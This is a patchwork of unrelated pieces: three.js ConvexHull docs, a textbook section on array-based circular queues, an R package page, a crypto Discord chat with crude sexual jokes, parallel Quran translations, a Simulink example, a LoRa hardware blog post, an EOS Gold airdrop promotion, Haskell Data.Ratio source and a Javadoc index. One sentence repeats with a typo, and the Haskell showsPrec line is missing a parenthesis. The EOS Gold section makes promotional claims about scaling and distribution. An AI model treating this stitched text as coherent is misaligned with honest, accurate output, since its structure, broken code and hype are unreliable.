A convex hull class. Implements the Quickhull algorithm by: Dirk Gregorius. March 2014, Game Developers Conference: [link:http://media.steampowered.com/apps/valve/2014/DirkGregorius_ImplementingQuickHull.pdf Implementing QuickHull].
[name] is an add-on, and must be imported explicitly. See [link:#manual/introduction/Installation Installation / Addons].
import { ConvexHull } from 'three/addons/math/ConvexHull.js';
Creates a new instance of [name].
This [page:VertexList vertex list] holds all vertices that are assigned to a face. Default is an empty vertex list.
The generated faces of the convex hull. Default is an empty array.
This array holds the faces that are generated within a single iteration. Default is an empty array.
The epsilon value that is used for internal comparative operations. The calculation of this value depends on the size of the geometry. Default is -1.
This [page:VertexList vertex list] holds all vertices that are not assigned to a face. Default is an empty vertex list.
The internal representation of the given geometry data (an array of [page:VertexNode vertices]).
[page:VertexNode eyeVertex] - The vertex that is added to the hull.
[page:HalfEdge horizonEdge] - A single edge of the horizon.
Creates a face with the vertices 'eyeVertex.point', 'horizonEdge.tail' and 'horizonEdge.head' in CCW order.
All the half edges are created in CCW order thus the face is always pointing outside the hull
[page:VertexNode eyeVertex] - The vertex that is added to the hull.
[page:HalfEdge horizon] - An array of half-edges that form the horizon.
Adds 'horizon.length' faces to the hull, each face will be linked with the horizon opposite face and the face on the left/right.
[page:VertexNodeNode vertex] - The vertex to add.
[page:Face face] - The target face.
Adds a vertex to the 'assigned' list of vertices and assigns it to the given face.
[page:VertexNode eyeVertex] - The vertex that is added to the hull.
Adds a vertex to the hull with the following algorithm
Cleans up internal properties after computing the convex hull.
Starts the execution of the quick hull algorithm.
Computes the extremes values (min/max vectors) which will be used to compute the initial hull.
[page:Vector3 eyePoint] - The 3D-coordinates of a point.
[page:HalfEdge crossEdge] - The edge used to jump to the current face.
[page:Face face] - The current face being tested.
[page:Array horizon] - The edges that form part of the horizon in CCW order.
Computes a chain of half edges in CCW order called the 'horizon'. For an edge to be part of the horizon it must join a face that can see 'eyePoint' and a face that cannot see 'eyePoint'.
Computes the initial simplex assigning to its faces all the points that are candidates to form part of the hull.
[page:Vector3 point] - A point in 3D space.
Returns `true` if the given point is inside this convex hull.
[page:Face face] - The given face.
[page:Face absorbingFace] - An optional face that tries to absorb the vertices of the first face.
Removes all the visible vertices that 'face' is able to see.
[page:Ray ray] - The given ray.
[page:Vector3 target] - The target vector representing the intersection point.
Performs a ray intersection test with this convext hull. If no intersection is found, `null` is returned.
[page:Ray ray] - The given ray.
Returns `true` if the given ray intersects with this convex hull.
Makes this convex hull empty.
Finds the next vertex to create faces with the current hull.
Removes inactive (e.g. deleted) faces from the internal face list.
[page:Face face] - The given face.
Removes all the visible vertices that a given face is able to see which are stored in the 'assigned' vertex list.
[page:VertexNode vertex] - The vertex to remove.
[page:Face face] - The target face.
Removes a vertex from the 'assigned' list of vertices and from the given face. It also makes sure that the link from 'face' to the first vertex it sees in 'assigned' is linked correctly after the removal.
[page:Face newFaces] - An array of new faces.
Reassigns as many vertices as possible from the unassigned list to the new faces.
[page:Object3D object] - [page:Object3D] to compute the convex hull of.
Computes the convex hull of an [page:Object3D] (including its children),accounting for the world transforms of both the object and its childrens.
[page:Array points] - Array of [page:Vector3 Vector3s] that the resulting convex hull will contain.
Computes to convex hull for the given array of points.
[link:https://github.com/mrdoob/three.js/blob/master/examples/jsm/math/ConvexHull.js examples/jsm/math/ConvexHull.js]


4.11. Array-Based Queues¶
4.11.1. Queue Terminology and Implementation¶
Like the stack, the queue is a list-like structure that provides restricted access to its elements. Queue elements may only be inserted at the back (called an enqueue operation) and removed from the front (called a dequeue operation). Queues operate like standing in line at a movie theater ticket counter. If nobody cheats, then newcomers go to the back of the line. The person at the front of the line is the next to be served. Thus, queues release their elements in order of arrival. In Britain, a line of people is called a “queue”, and getting into line to wait for service is called “queuing up”. Accountants have used queues since long before the existence of computers. They call a queue a “FIFO” list, which stands for “First-In, First-Out”. Here is a sample queue ADT. This section presents two implementations for queues: the array-based queue and the linked queue.
interface Queue(E) extends Collection(E)
enqueue(x:E) // Enqueues x at the end of the queue.
dequeue() : E // Dequeues the frontmost element.
peek() : E // Returns the frontmost element, without removing it.
// Note: iterator() should yield the elements starting from the frontmost element.
// Note: This is a subset of java.util.Queue; and it uses different method names.
interface Queue<E> extends Collection<E> {
void enqueue(E x); // Enqueues x at the end of the queue.
E dequeue(); // Dequeues the frontmost element.
E peek(); // Returns the frontmost element, without removing it.
// Note: iterator() should yield the elements starting from the frontmost element.
}
class Queue(Collection):
def enqueue(self, x): """Enqueues x at the end of the queue."""
def dequeue(self): """Dequeues the frontmost element."""
def peek(self): """Returns the frontmost element, without removing it."""
# Note: __iter__() should yield the elements starting from the frontmost element.
4.11.2. Array-Based Queues¶
The array-based queue is somewhat tricky to implement effectively. A simple conversion of the array-based list implementation is not efficient.
4.11.3. The Circular Queue¶
If the value of front
is fixed, then \(n+1\) different
values for rear
are needed to distinguish among the \(n+1\)
states.
However, there are only \(n\) possible values for rear
unless
we invent a special case for, say, empty queues.
This is an example of the Pigeonhole Principle.
The Pigeonhole Principle states that, given \(n\) pigeonholes
and \(n+1\) pigeons, when all of the pigeons go into the holes we
can be sure that at least one hole contains more than one pigeon.
In similar manner, we can be sure that two of the \(n+1\) states
are indistinguishable by the \(n\) relative values of front
and rear
.
We must seek some other way to distinguish full from empty queues.
One obvious solution is to keep an explicit count of the number of
elements in the queue, or at least a Boolean variable that indicates
whether the queue is empty or not.
Another solution is to make the array be of size \(n+1\),
and only allow \(n\) elements to be stored.
A third solution is to set front
and rear
to –1 when the queue becomes empty.
Which of these solutions to adopt is purely a matter of the
implementor’s taste in such affairs.
Our choice here is to keep an explicit count of the number of elements,
in the variable queueSize
, because this will make the code more similar
to our list and stack implementations.
4.11.4. Array-based Queue Implementation¶
In this implementation, the front of the queue is defined to be toward
the lower numbered positions in the array (in the counter-clockwise
direction in the circular array), and the rear is
defined to be toward the higher-numbered positions.
Thus, enqueue
increments the rear pointer (modulus maxSize
),
and dequeue
increments the front pointer.
Implementation of all member functions is straightforward.
4.11.5. Array-based Dequeue Practice¶
4.11.6. Array-based Queues, Full Implementation¶
Here is an array-based queue implementation.
class DynamicArrayQueue(E) implements Queue(E)
private internalArray : E[] // Internal array containing the queue elements
private queueSize : int // Size of queue, and index of the next free slot
private front : int // Index of front element
private rear : int // Index of rear element
DynamicArrayQueue()
internalArray = new array of size 1
queueSize = 0
front = 0
rear = -1
enqueue(x:E)
if queueSize >= size of internalArray
resizeArray(2 * size of internalArray)
rear += 1 (modulo size of internalArray) // Circular increment
internalArray[rear] = x
queueSize += 1
peek() : E
// Precondition: queueSize > 0
return internalArray[front]
dequeue() : E
// Precondition: queueSize > 0
queueSize -= 1
x : E = internalArray[front]
internalArray[front] = null // For garbage collection
front += 1 (modulo size of internalArray) // Circular increment
if queueSize < size of internalArray / 3
resizeArray(size of internalArray / 2)
return x
private resizeArray(newCapacity:int)
newArray : E[] = new array of size newCapacity
for i in 0, 1, ..., queueSize-1
newArray[i] = internalArray[i + front (modulo size of internalArray)]
internalArray = newArray
front = 0
rear = queueSize-1
isEmpty() : boolean
return queueSize == 0
size() : int
return queueSize
iterator() : Iterator(E)
return an iterator over the elements in internalArray, starting from the frontmost element
class DynamicArrayQueue<E> implements Queue<E> {
private E[] internalArray; // Internal array containing the queue elements
private int queueSize; // Size of queue, and index of the next free slot
private int front; // Index of front element
private int rear; // Index of rear element
@SuppressWarnings("unchecked")
public DynamicArrayQueue() {
internalArray = (E[]) new Object[1];
queueSize = 0;
front = 0;
rear = -1;
}
public void enqueue(E x) {
if (queueSize >= internalArray.length) {
resizeArray(2 * internalArray.length);
}
rear = (rear + 1) % internalArray.length; // Circular increment
internalArray[rear] = x;
queueSize++;
}
public E peek() {
if (!(queueSize > 0)) throw new IndexOutOfBoundsException("peek from empty queue");
return internalArray[front];
}
public E dequeue() {
if (!(queueSize > 0)) throw new IndexOutOfBoundsException("dequeue from empty queue");
queueSize--;
E x = internalArray[front];
internalArray[front] = null; // For garbage collection
front = (front + 1) % internalArray.length; // Circular increment
if (queueSize <= internalArray.length / 3) {
resizeArray(internalArray.length / 2);
}
return x;
}
private void resizeArray(int newCapacity) {
@SuppressWarnings("unchecked")
E[] newArray = (E[]) new Object[newCapacity];
for (int i = 0; i < queueSize; i++) {
newArray[i] = internalArray[(i + front) % internalArray.length];
}
internalArray = newArray;
front = 0;
rear = queueSize-1;
}
public boolean isEmpty() {
return queueSize == 0;
}
public int size() {
return queueSize;
}
public Iterator<E> iterator() {
return new DynamicArrayQueueIterator();
}
private class DynamicArrayQueueIterator implements Iterator<E> {
private int index;
DynamicArrayQueueIterator() {
index = -1;
}
public boolean hasNext() {
return index + 1 < queueSize;
}
public E next() {
index++;
return internalArray[(index + front) % internalArray.length];
}
}
}
class DynamicArrayQueue(Queue):
def __init__(self):
self._internalArray = [None] # Internal array containing the queue elements
self._queueSize = 0 # Size of queue, and index of the next free slot
self._front = 0 # Index of front element
self._rear = -1 # Index of rear element
def enqueue(self, x):
if self._queueSize >= len(self._internalArray):
self._resizeArray(2 * len(self._internalArray))
self._rear = (self._rear + 1) % len(self._internalArray) # Circular increment
self._internalArray[self._rear] = x
self._queueSize += 1
def peek(self):
if not (self._queueSize > 0): raise IndexError("peek from empty queue")
return self._internalArray[self._front]
def dequeue(self):
if not (self._queueSize > 0): raise IndexError("dequeue from empty queue")
self._queueSize -= 1
x = self._internalArray[self._front]
self._internalArray[self._front] = None # For garbage collection
self._front = (self._front + 1) % len(self._internalArray) # Circular increment
if self._queueSize <= len(self._internalArray) // 3:
self._resizeArray(len(self._internalArray) // 2)
return x
def _resizeArray(self, newCapacity):
newArray = [None] * newCapacity
for i in range(self._queueSize):
newArray[i] = self._internalArray[(i + self._front) % len(self._internalArray)]
self._internalArray = newArray
self._front = 0
self._rear = self._queueSize-1
def isEmpty(self):
return self._queueSize == 0
def size(self):
return self._queueSize
def __iter__(self):
return DynamicArrayQueueIterator(self._internalArray, self._front, self._queueSize)
# Python does not have internal classes, so we have to make the iterator standalone.
class DynamicArrayQueueIterator(Iterator):
def __init__(self, array, front, size):
self._array = array
self._front = front
self._size = size
self._index = -1
def __iter__(self):
return self
def __next__(self):
self._index += 1
if self._index >= self._size:
raise StopIteration
return self._array[(self._index + self._front) % len(self._array)]


The model R squared and semi-partial R squared for the linear and generalized linear mixed model (LMM and GLMM) are computed with confidence limits. The R squared measure from Edwards et.al (2008) <doi:10.1002/sim.3429> is extended to the GLMM using penalized quasi-likelihood (PQL) estimation (see Jaeger et al. 2016 <doi:10.1080/02664763.2016.1193725>). Three methods of computation are provided and described as follows. First, The Kenward-Roger approach. Due to some inconsistency between the 'pbkrtest' package and the 'glmmPQL' function, the Kenward-Roger approach in the 'r2glmm' package is limited to the LMM. Second, The method introduced by Nakagawa and Schielzeth (2013) <doi:10.1111/j.2041-210x.2012.00261.x> and later extended by Johnson (2014) <doi:10.1111/2041-210X.12225>. The 'r2glmm' package only computes marginal R squared for the LMM and does not generalize the statistic to the GLMM; however, confidence limits and semi-partial R squared for fixed effects are useful additions. Lastly, an approach using standardized generalized variance (SGV) can be used for covariance model selection. Package installation instructions can be found in the readme file.
| Version: | 0.1.2 |
| Imports: | mgcv, lmerTest, Matrix, pbkrtest, ggplot2, afex, stats, MASS, gridExtra, grid, data.table, dplyr |
| Suggests: | lme4, nlme, testthat |
| Published: | 2017-08-05 |
| Author: | Byron Jaeger [aut, cre] |
| Maintainer: | Byron Jaeger <byron.jaeger at gmail.com> |
| BugReports: | https://github.com/bcjaeger/r2glmm/issues |
| License: | GPL-2 |
| URL: | https://github.com/bcjaeger/r2glmm |
| NeedsCompilation: | no |
| Materials: | README |
| CRAN checks: | r2glmm results |
| Reference manual: | r2glmm.pdf |
| Package source: | r2glmm_0.1.2.tar.gz |
| Windows binaries: | r-devel: r2glmm_0.1.2.zip, r-release: r2glmm_0.1.2.zip, r-oldrel: r2glmm_0.1.2.zip |
| OS X binaries: | r-release: r2glmm_0.1.2.tgz, r-oldrel: r2glmm_0.1.2.tgz |
| Old sources: | r2glmm archive |
Please use the canonical form https://CRAN.R-project.org/package=r2glmm to link to this page.


LoginPlease log in to continue.LoginLoginWelcome {{user ? user.username ? user.username : "" : ""}}. You are not a member of the Hawthorne Guild. Let's fix that, shall we?Join the Hawthorne GuildLoginWelcome {{user ? user.username ? user.username : "" : ""}}. You are set to use this application.


http://bit.ly/2isahpo
github.com/mktranstrum/ICTSSloppyModels2017
"This lesson applies with equal strength to theoretical work aimed at understanding complex systems. Modeling complex systems by tractable closure schemes or complicated free-field theories in disguise does not work. These may yield a successful description of the small-scale structure, but this description is likely to be irrelevant for the large-scale features. To get these gross features, one should most often use a more phenomenological and aggregated description, aimed specifically at the higher level. "


Snookes1516.github.io
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Komodo
talk-trading
A channel to discuss trading. For useful links and more info click the pinned messages to the right.
100 messages
Before 05-Dec-19 12:00 AM
hyperDEX
24-Jun-19 11:03 AM
@jl777c
you are great at naming things, got a suggestion
jansako
24-Jun-19 11:03 AM
You always got things like "Pokermaster", Poker Unlimited
jl777c
24-Jun-19 11:03 AM
how about just "CHIPS GUI"
chips is a pretty good name
jansako
24-Jun-19 11:05 AM
it is, if you have a substantial marketing budget...
jl777c
24-Jun-19 11:06 AM
"poker CHIPS GUI"
2
jansako
24-Jun-19 11:06 AM
You could work with Poker + Chips + an adjective
you quick-fingered rascal!
Poker Chips Unlimited
What is the most important selling point?

Caglio
24-Jun-19 11:31 AM
i dont know what we talk about
but as a degenerate gambler
all those name names are just wrong
for me
hyperDEX
24-Jun-19 11:31 AM
Win Chips?
Caglio
24-Jun-19 11:31 AM
no offence , but nothing of that sounds like smt i would play
win chips is the best one yet
lkc_123
24-Jun-19 11:32 AM
Jolt Poker?
Cryptoon
24-Jun-19 11:32 AM
Crypto CHIPS Gaming
CCG
Caglio
24-Jun-19 11:32 AM
anyway, Ill play there for sure, and yeah, crypto would be cool to have in name
just to be different of all current poker providers
Cryptoon
24-Jun-19 11:36 AM
CHIPS Gaming
That way you arent exclusively linked to poker
But can also use it for blackjack etc
hyperDEX
24-Jun-19 11:36 AM
Yeah im thinking of that too.
Cryptoon
24-Jun-19 11:37 AM
I'm debating whether having something crypto related in the name would be a + or -
Will it throw people off or attract more people?
hyperDEX
24-Jun-19 11:52 AM
hodl chips / tilt lightning / thunder struck / still hodling
Cryptoon
24-Jun-19 11:53 AM
Hmm maybe leverage the lightning hype?
To get btc maximalists on board? :p
hyperDEX
24-Jun-19 11:54 AM
Yeah Lightning Chips is the leader at the moment
Cryptoon
24-Jun-19 11:54 AM
Lightning CHIPS
yeah that's a good idea
Lightning gambling
Lightning Casino?
Casino then you have the whole gambling family again
covers not just poker
hyperDEX
24-Jun-19 11:56 AM
I think Lightning Chips covers all use cases
Poker / BJ / whatever
p.
24-Jun-19 01:02 PM
Chips poker and online casino
Make poker quality top priority
Bittersweet
24-Jun-19 01:12 PM
Is someone selling chips?
crumb
24-Jun-19 01:38 PM
Lightning CHIPS Gaming - includes all possible game-related scenarios
if it's only poker then Lightning CHIPS Poker would make a lot of sense
joe2x4
24-Jun-19 01:45 PM
Thunder lizards lightning CHIPS
joe2x4
24-Jun-19 01:54 PM
Chips lightning poker smash
actionslacks
24-Jun-19 01:59 PM
game of chips
chipnobyl
joe2x4
24-Jun-19 02:02 PM
Lightning taxi gaming
Chips Lightning lizard games
altcoinist
24-Jun-19 02:06 PM
Lightning Gamblers
joe2x4
24-Jun-19 02:07 PM
Chips box, lightning inside
Caglio
24-Jun-19 02:08 PM
Just stay with Pangea Poker ( PP = pee pee )
and put a picture of penis underneats
Underneath ( :
joe2x4
24-Jun-19 02:09 PM
Chips golden showers
Caglio
24-Jun-19 02:09 PM
Mmm golden showers
If I was dating vintage Sharon Stone
I would let her pee on my chest, so other bitches can sense her scent on me, while I go down the road to buy groceries @ Kaufland
joe2x4
24-Jun-19 02:09 PM
Thunder from down under
Caglio
24-Jun-19 02:10 PM
Shit I want to gamble rn
So much gambling talk
Hollowman9000
24-Jun-19 02:11 PM
Sharon stone played a psycho way too well
ComputerGenie 👴👴👴
24-Jun-19 02:12 PM
Where's #talk-fetish when you need it
2
actionslacks
24-Jun-19 02:17 PM
thunderchips
of death metal
1
jl777c
24-Jun-19 02:32 PM
https://www.reddit.com/r/CryptoCurrency/comments/c4na21/eli15_what_is_marketing_that_every_community_is/
r/CryptoCurrency - ELI15. What is marketing that every community i...
0 votes and 5 comments so far on Reddit
1
1
2
grewalsatinder
24-Jun-19 02:37 PM
https://tenor.com/view/bitconnect-hey-carlos-matos-gif-11375363
1
this marketing
joe2x4
24-Jun-19 02:39 PM
CHIPS millionaire maker gui
ComputerGenie 👴👴👴
24-Jun-19 02:42 PM
Just remember that you only have 26% of available information on the flop and you'll do good with any GUI
Malti
24-Jun-19 02:52 PM
seems like btc is moving to 11k again
let's see if it can break and stay above


| 018:045 Khan | : |
And put forward to them the example of the life of this world, it is like the water (rain) which We send down from the sky, and the vegetation of the earth mingles with it, and becomes fresh and green. But (later) it becomes dry and broken pieces, which the winds scatter. And Allah is Able to do everything. |
| 018:045 Maulana | : |
And set forth to them the parable of the life of this world as water which We send down from the cloud, so the herbage of the earth becomes luxuriant thereby, then it becomes dry, broken into pieces which the winds scatter. And Allah is the Holder of power over all things. |
| 018:045 Pickthal | : |
And coin for them the similitude of the life of the world as water which We send down from the sky, and the vegetation of the earth mingleth with it and then becometh dry twigs that the winds scatter. Allah is able to do all things. |
| 018:045 Rashad | : |
Cite for them the example of this life as water that we send down from the sky to produce plants of the earth, then they turn into hay that is blown away by the wind. GOD is able to do all things. |
| 018:045 Sarwar | : |
(Muhammad), tell them, "The worldly life resembles the (seasonal) plants that blossom by the help of the water which God sends from the sky. After a short time all of them fade away and the winds scatter them (and turns them into dust). God has power over all things. |
| 018:045 Shakir | : |
And set forth to them parable of the life of this world: like water which We send down from the cloud so the herbage of the earth becomes tangled on account of it, then it becomes dry broken into pieces which the winds scatter; and Allah is the holder of power over all things. |
| 018:045 Sherali | : |
And set forth for them the similitude of the life of this world. It is like water which WE send down from the sky, and the vegetation of the earth is mingled with it, and then it becomes dry grass broken into pieces which the winds scatter, and ALLAH has full power over everything. |
| 018:045 Yusufali | : |
Set forth to them the similitude of the life of this world: It is like the rain which we send down from the skies: the earth's vegetation absorbs it, but soon it becomes dry stubble, which the winds do scatter: it is (only) Allah who prevails over all things. |
Concepts/Themes Covered: أركان الإسلام > التوحيد > توحيد الله تعالي > صفات الله تعالى > المقتدر Pillars of Islam> Islamic> Oneness of Allah> His Glory's Characteristics> Able to do Everything الإيمان > اليوم الآخر > تفضيل الآخرة على الدنيا Faith> The Hereafter> Prefering the World to the Hereafter الإيمان > اليوم الآخر > ثواب الدنيا والآخرة Faith> The Hereafter> The Reward of the World and the Hereafter العلوم والفنون > الحقائق العلمية و الإشاة إلى وقائع أيدتهاالإكتشافات العلمية > الريح Science and Art> The Scientific Facts and the Indication to Facts which have been supported by the Scientific Discoveries>The Wind
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


IP Protection for Hydraulic Lift Model
This example models a hydraulic lift. We use code generation technology to create a protected model of the hydraulic lift. One parameter is exposed that the user can modify in the protected model.
Contents
Model
IP Protection
The plots below show the results when a single parameter is varied in the protected model.
### Successfully converted Subsystem block to Model block. Creating protected model for 'Hydraulic_Lift'. ### Starting serial model reference simulation build. ### Generating code for Physical Networks associated with solver block 'Hydraulic_Lift/Pump and Tank/Solver Configuration' ... done. ### Generating code for Physical Networks associated with solver block 'Hydraulic_Lift/Pump and Tank/Solver Configuration' ... done. Renamed options file 'C:\Users\smiller\AppData\Roaming\MathWorks\MATLAB\R2023a\mex_C_win64.xml' to 'C:\Users\smiller\AppData\Roaming\MathWorks\MATLAB\R2023a\mex_C_win64_backup.xml'. ### Successfully updated the model reference simulation target for: Hydraulic_Lift Finished creating protected model 'E:\smiller\simscape\demo\allsimscape\hydraulic-lift\Workflows\IP_Protect\Hydraulic_Lift.slxp'.


Mobile Img
At half-past eight the door opened, the policeman appeared, and, requesting them to follow him, led the wqy to an adjoining hall.
At half-past eight the door opened, the policeman appeared, and, requesting them to follow him, led the wqy to an adjoining hall.
At half-past eight the door opened, the policeman appeared, and, requesting them to follow him
At half-past eight the door opened, the policeman appeared, and, requesting them to follow him
At half-past eight the door opened, the policeman appeared, and, requesting them to follow him
At half-past eight the door opened, the policeman appeared, and, requesting them to follow him, led the wqy to an adjoining hall.
At half-past eight the door opened, the policeman appeared, and, requesting them to follow him, led the wqy to an adjoining hall.
At half-past eight the door opened, the policeman appeared, and, requesting them to follow him, led the wqy to an adjoining hall.
At half-past eight the door opened, the policeman appeared, and, requesting them to follow him, led the wqy to an adjoining hall.
At half-past eight the door opened, the policeman appeared, and, requesting them to follow him, led the wqy to an adjoining hall.


---
layout: post
title: 'LoRa Range Issues '
date: '2018-03-03T19:29:00.000-08:00'
author: gojimmypi
tags:
- M5Stack
- RFM95
- RadioHead
- LoRa
- Espressif
modified_time: '2018-03-13T13:30:47.825-07:00'
thumbnail: https://3.bp.blogspot.com/-VFT64drwub8/WpsBTId5LUI/AAAAAAAAA5w/tHp1N-wa6wQO9hBymOoixXyWbvo9_VvGgCLcBGAs/s72-c/M5LoraModule.PNG
blogger_id: tag:blogger.com,1999:blog-4109066286647243251.post-5596790795401780105
blogger_orig_url: https://gojimmypi.blogspot.com/2018/02/lora-range-issues.html
---
This is a continuation of my previous blog: M5Stack LoRa Range Issues
.
TL;DR
The M5Stack LoRa is using Sandeep drivers (polling) whereas RadioHead drivers use interrupts.
The M5Stack LoRa board has IRQ/RST reversed! IRQ DIO0 is actually connected to GPIO26. RST is actually connected to GPIO36, but is useless since GPIO36 is input only.
The M5Stack display shares NSS on GPIO5; LoRa needs to be put to sleep when updating display. (Mutex likely needed in FreeRTOS)
My LoRa32u4 is using the RadioHead libraries; The M5Stack uses a slightly modified Sandeep library. A pair of LoRa32u4 units work great. A LoRa32u4 sending to M5Stack - not so great. So I'm attempting to use the RadioHead library with the M5Stack.
To install M5Stack library with ability to save in GitHub and submit pull requests. First fork the project to your own GitHub repository. Then clone it to your Arduino library (in my case, gojimmypi user)
{% include code_header.html %}
cd C:\Users\gojimmypi\Documents\Arduino\libraries\
git clone https://github.com/gojimmypi/M5Stack.git
:: optionally get RadioHead drivers from Adafruit
:: ren RadioHead RadioHead-stockgit clone https://github.com/gojimmypi/RadioHead.git
{% include code_header.html %}
cd C:\Users\gojimmypi\Documents\Arduino\libraries\
mkdir temp-adafruit
cd temp-adafruit
git clone https://github.com/adafruit/RadioHead.git
cd RadioHead
xcopy *.* ..\..\RadioHead\*.* /s /d
:: reminder to delete temp-adafruit
In my case, after the fork from Adafruit, I deleted everything (except hidden .git directory, of course) and copied back the contents of the RadioHead-stock directory so we could use Visual Studio diff (right-click, Compare with Unmodified). Not unexpected, the RadioHead I had was older. So I fetched the Adafruit into a temp directory, then copied it back:
Visual Studio users will be happy to know there's a feature to use File Explorer; right click on the directory and select "open in Visual Studio". With the GitHub extension installed, there's a very nice GUI for GitHub.
To add the RadioHead libraries to an M5 Stack project: vMicro - Add Library - User - RadioHead:
After spending a ton of time trying to get the RadioHead drivers working, first I found that that M5Stack base I was using had completely inoperable GPIO35 and GPIO36 pins. After swapping that out for a new one... and even more time spent trying to get RadioHead drivers working - I discovered another WIRING problem. <sigh> Connections to GPIO26 and GPIO36 are reversed! Not all coding problems are based solely in software.
Here's the corrected M5Stack LoRa pinout diagram:
Note that the RST (reset) input to the RA-02 LoRa device won't actually reset, as GPIO36 is input only!
Many thanks to Jimmy Lai at M5Stack for sending me a prototype of their next version of LoRa. Looking forward to my next gizmo in the mail :)


Widely distributed and powerful community adopting the EOS software in June 2018.
Using a snapshot of over 1,000,000 Ethereum addresses, EOS Gold aims to be the most widely and evenly distributed EOS chain.
The EOS Software is built to support and scale decentralized applications on the blockchain.
Through airdrops and bounty campaigns EOS Gold is completely transparent using an Ethereum smart contract.
Our active community is committed to becoming the most widely distributed and used unoffical EOS chain in 2018.
1 000 000 000 EOSG
ERC20
June 2018
Web Assembly
EOS Gold is fairly and widely distributed. It is a community aiming to adopt the EOS chain which becomes available under a MIT licence in June 2018.
We believe in order to get a wide and fair distribution of EOS Gold airdrops and giveaways is the most effective. This aligns all users that receive EOS Gold as well as provide an opportunity for those wanting to become block producers a chance to purchase EOS Gold on the market from other airdrop participants. With only 21 block producers in total, those wishing to participate as a block producer will need to accumulate on exchanges between now and June 2018.
EOS Gold allows for flexible blockchain applications. Decentralized Application developers are able to Freeze and Fix broken contracts or upgrade applications with ease. Generalized role-based permision allows developers to only give access to those that need it while keeping the application secure. Being widely distributed also allows current Ethereum developers to experiment on an EOS chain without risk and gain an instant user base of EOS Gold holders.
By using the EOS software, EOS Gold will be able to scale to support thousands of Commercial Scale DApps as well as millions of transactions per minute. By separating authentification from execution EOS Gold nodes will not forced to run all the transactions on the network. Instead EOS Gold contains a Merkle tree over all the transactions within a block which allows users to prove payment without having to trust full nodes.
EOS Gold includes an exciting Roadmap leading up to the launch of the EOS Gold blockchain.
Airdrop #1: 1st December
Airdrop #2: TBA
ETH Airdrop: TBA
Mercatox, Coinexchange exchange listings
EOSG Launch
We have compiled the most frequently asked questions from the EOS GOLD community.
EOSGOLD (EOSG) is a community project aimed at launching the most widely distributed EOS chain once the EOS software is released under a MIT licence in June 2018 allowing anyone to launch their own EOS chain.
Technically no, as there are currently no EOS blockchains yet launched. Block.one is producing the EOS software which allows anyone to launch their own EOS chain once the licence changes in June 2018.
We do not have any official relationship with Block.one or the official EOS team. EOS Gold is a community fork that plans to adopt the EOS software to launch our own EOS chain with a different distribution model then the one being produced by Block.One.
We have a small board of directors and currently, two developers are employed.
It is in final draft and scheduled for release this coming week. (~ November 23rd)
You can find a full list here.
We had 5000 entries and airdropped onto 4949 addresses.
Each eligible address got sent 40 000 EOSG.
You most likely did not meet all the requirements or have not added EOSG to your wallet.
Currently, there is no official telegram group. It is scheduled to launch soon.
We are currently on EtherDelta and are targetting more exchanges this coming week.
The full roadmap will come out in the coming weeks.
EOS Gold can be stored on any Ethereum ERC20 compatible wallet until the EOS Gold blockchain is launched.


module Data.Ratio (
Ratio, Rational, (%), numerator, denominator, approxRational
) where
module Data.Ratio (
Ratio, Rational, (%), numerator, denominator, approxRational ) where
infixl 7 %
ratPrec = 7 :: Int
data (Integral a) => Ratio a = !a :% !a deriving (Eq)
type Rational = Ratio Integer
(%) :: (Integral a) => a -> a -> Ratio a
numerator, denominator :: (Integral a) => Ratio a -> a
approxRational :: (RealFrac a) => a -> a -> Rational
-- "reduce" is a subsidiary function used only in this module.
-- It normalises a ratio by dividing both numerator
-- and denominator by their greatest common divisor.
--
-- E.g., 12 ‘reduce‘ 8 == 3 :% 2
-- 12 ‘reduce‘ (-8) == 3 :% (-2)
reduce _ 0 = error "Data.Ratio.% : zero denominator"
reduce x y = (x ‘quot‘ d) :% (y ‘quot‘ d)
where d = gcd x y
x % y = reduce (x ⋆ signum y) (abs y)
numerator (x :% _) = x
denominator (_ :% y) = y
instance (Integral a) => Ord (Ratio a) where
(x:%y) <= (x':%y') = x ⋆ y' <= x' ⋆ y
(x:%y) < (x':%y') = x ⋆ y' < x' ⋆ y
instance (Integral a) => Num (Ratio a) where
(x:%y) + (x':%y') = reduce (x⋆y' + x'⋆y) (y⋆y')
(x:%y) ⋆ (x':%y') = reduce (x ⋆ x') (y ⋆ y')
negate (x:%y) = (-x) :% y
abs (x:%y) = abs x :% y
signum (x:%y) = signum x :% 1
fromInteger x = fromInteger x :% 1
instance (Integral a) => Real (Ratio a) where
toRational (x:%y) = toInteger x :% toInteger y
instance (Integral a) => Fractional (Ratio a) where
(x:%y) / (x':%y') = (x⋆y') % (y⋆x')
recip (x:%y) = y % x
fromRational (x:%y) = fromInteger x :% fromInteger y
instance (Integral a) => RealFrac (Ratio a) where
properFraction (x:%y) = (fromIntegral q, r:%y)
where (q,r) = quotRem x y
instance (Integral a) => Enum (Ratio a) where
succ x = x+1
pred x = x-1
toEnum = fromIntegral
fromEnum = fromInteger . truncate -- May overflow
enumFrom = numericEnumFrom -- These numericEnumXXX functions
enumFromThen = numericEnumFromThen -- are as defined in Prelude.hs
enumFromTo = numericEnumFromTo -- but not exported from it!
enumFromThenTo = numericEnumFromThenTo
instance (Read a, Integral a) => Read (Ratio a) where
readsPrec p = readParen (p > ratPrec)
(\r -> [(x%y,u) | (x,s) <- readsPrec (ratPrec+1) r,
("%",t) <- lex s,
(y,u) <- readsPrec (ratPrec+1) t ])
instance (Integral a) => Show (Ratio a) where
showsPrec p (x:%y) = showParen (p > ratPrec)
showsPrec (ratPrec+1) x .
showString " % " .
showsPrec (ratPrec+1) y)
approxRational x eps = simplest (x-eps) (x+eps)
where simplest x y | y < x = simplest y x
| x == y = xr
| x > 0 = simplest' n d n' d'
| y < 0 = - simplest' (-n') d' (-n) d
| otherwise = 0 :% 1
where xr@(n:%d) = toRational x
(n':%d') = toRational y
simplest' n d n' d' -- assumes 0 < n%d < n'%d'
| r == 0 = q :% 1
| q /= q' = (q+1) :% 1
| otherwise = (q⋆n''+d'') :% n''
where (q,r) = quotRem n d
(q',r') = quotRem n' d'
(n'':%d'') = simplest' d' r' d r


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blastZone
- Variable in class
Map
BOX_ED
- Static variable in class
Config
BOX_ST
- Static variable in class
Config
Bubble
- Class in
<Unnamed>
.
BUBBLE_BLAST
- Static variable in class
Config
BUBBLE_ED
- Static variable in class
Config
BUBBLE_ST
- Static variable in class
Config
bubbleRemains
- Variable in class
User
.
C
canWalk(double, double)
- Method in class
Map
.
checkGameOver()
- Method in class
GameController
.
checkGameOver()
